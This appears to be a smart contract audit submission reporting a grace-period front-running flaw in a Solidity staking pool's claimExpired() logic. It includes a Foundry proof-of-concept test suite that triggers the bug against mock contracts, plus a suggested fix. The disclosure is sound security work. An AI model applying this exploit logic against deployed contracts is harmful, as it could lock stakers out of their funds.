FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Grace Period Boundary Front-Running: Late State Transition Eliminates Moderator Reaction Window (104/250)

Author Revealed upon completion

Root + Impact

The contract is designed to allow the moderator a cooperative 180-day window (MODERATOR_CORRUPTED_GRACE) post-expiry to resolve false-positive registry states before the permissionless auto-CORRUPTED fallback path becomes executable by the public. When an upstream registry state transition to CORRUPTED occurs after 180 days have already elapsed since the pool's expiry, the grace check block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE is bypassed instantly. This eliminates the moderator's reaction window entirely, permitting any caller to execute claimExpired() in the same block as the state transition and lock stakers out of their funds.

Description

The auto-CORRUPTED backstop in `claimExpired()` is intended as a liveness fallback if the moderator is permanently unavailable. However, because the 180-day grace check is mathematically anchored to the static pool `expiry` instead of the dynamic timestamp of the transition to `CORRUPTED`, any registry state transition occurring 180+ days post-expiry reduces the moderator's reaction window to zero seconds. An attacker can front-run the moderator in the same block as the registry state change, executing `claimExpired()` to permanently lock staker funds.

if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

Risk

Likelihood:

  • Reason 1: Registry transitions to CORRUPTED after 180+ days have elapsed since pool expiry. Reason 2: Permissionless callers monitor the mempool to instantly call claimExpired() at the grace period boundary.

Impact:

  • Impact 1: Stakers permanently lose 100% of deposited principal to recoveryAddress.

  • Impact 2: Moderator locked out of flagOutcome(SURVIVED) via OutcomeAlreadySet revert.

Proof of Concept

1. **Setup:** Alice stakes 1,000,000 tokens into a pool with a 180-day moderator grace window.

2. **Attack State:** The upstream registry moves to `UNDER_ATTACK` and then `CORRUPTED` after the pool's static expiry date + 180 days have already elapsed.

3. **Exploit:** An attacker immediately calls `claimExpired()` in the same block. The transaction succeeds because `block.timestamp` is already past the static grace boundary, setting the outcome to `CORRUPTED`.

4. **Denial:** The moderator attempts to call `flagOutcome()` to resolve a false positive but is reverted with `OutcomeAlreadySet`. Run this test suite using: `forge test --match-test test_AutoCorruptedGracePeriodFrontRun`

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract AutoCorruptedGracePeriodRaceTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant MODERATOR_CORRUPTED_GRACE = 180 days;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreementContract), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
pool = _deployPool(BASE_TIMESTAMP + 365 days);
}
function _deployPool(uint256 expiry_) internal returns (ConfidencePool) {
ConfidencePool implementation = new ConfidencePool();
ConfidencePool deployed = ConfidencePool(Clones.clone(address(implementation)));
deployed.initialize(
address(agreementContract),
address(token),
address(safeHarborRegistry),
moderator,
expiry_,
ONE,
address(0xDEAD),
address(this),
_defaultScope()
);
return deployed;
}
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
function test_AutoCorruptedGracePeriodFrontRun() public {
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 1_000_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 1_000_000 * ONE);
pool.stake(1_000_000 * ONE);
vm.stopPrank();
assertEq(pool.totalEligibleStake(), 1_000_000 * ONE, "Alice has 1M stake");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "Outcome is UNRESOLVED");
vm.warp(BASE_TIMESTAMP + 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), uint32(BASE_TIMESTAMP + 10 days), "Risk window opened");
vm.warp(BASE_TIMESTAMP + 20 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart() != 0, true, "riskWindowStart is set");
uint256 expiry = BASE_TIMESTAMP + 365 days;
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary);
assertEq(block.timestamp, graceBoundary, "At grace boundary");
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "Outcome locked to CORRUPTED by attacker");
assertEq(pool.claimsStarted(), true, "claimsStarted set, moderator locked out");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
emit log_named_uint("Staker principal locked to recoveryAddress", 1_000_000 * ONE);
emit log_string("Moderator cannot correct false-positive due to grace period front-run");
}
function test_ModeratorCannotCorrectAfterGraceBoundary() public {
uint256 expiry = BASE_TIMESTAMP + 60 days;
pool = _deployPool(expiry);
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 100_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100_000 * ONE);
pool.stake(100_000 * ONE);
vm.stopPrank();
vm.warp(BASE_TIMESTAMP + 15 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 30 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "Auto-CORRUPTED triggered");
assertEq(pool.claimsStarted(), true, "claimsStarted prevents moderator correction");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.totalEligibleStake(), 100_000 * ONE, "Alice's stake locked in pool");
}
function test_GracePeriodAllowsModeratorCorrectionWhenEarly() public {
uint256 expiry = BASE_TIMESTAMP + 60 days;
pool = _deployPool(expiry);
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 100_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100_000 * ONE);
pool.stake(100_000 * ONE);
vm.stopPrank();
vm.warp(BASE_TIMESTAMP + 15 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 30 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary - 1);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "Moderator can correct before boundary");
}
function test_AttackerCanTriggerAutoCorruptedExactlyAtGraceBoundary() public {
uint256 expiry = BASE_TIMESTAMP + 45 days;
pool = _deployPool(expiry);
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 50_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 50_000 * ONE);
pool.stake(50_000 * ONE);
vm.stopPrank();
vm.warp(BASE_TIMESTAMP + 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 20 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "Auto-CORRUPTED triggered at boundary");
assertEq(pool.claimsStarted(), true, "claimsStarted prevents moderator correction");
}
}

Recommended Mitigation

Introduce a cooperative delay window after the grace period boundary during which only the moderator can execute claimExpired().

+ uint256 constant GRACE_COOPERATIVE_DELAY = 1 days;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
- if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
- revert AgreementCorruptedAwaitingModerator();
- }
+ uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
+ if (block.timestamp < graceBoundary) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
+ if (block.timestamp < graceBoundary + GRACE_COOPERATIVE_DELAY) {
+ if (msg.sender != moderator) {
+ revert ModeratorCorrectionWindow();
+ }
+ }
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!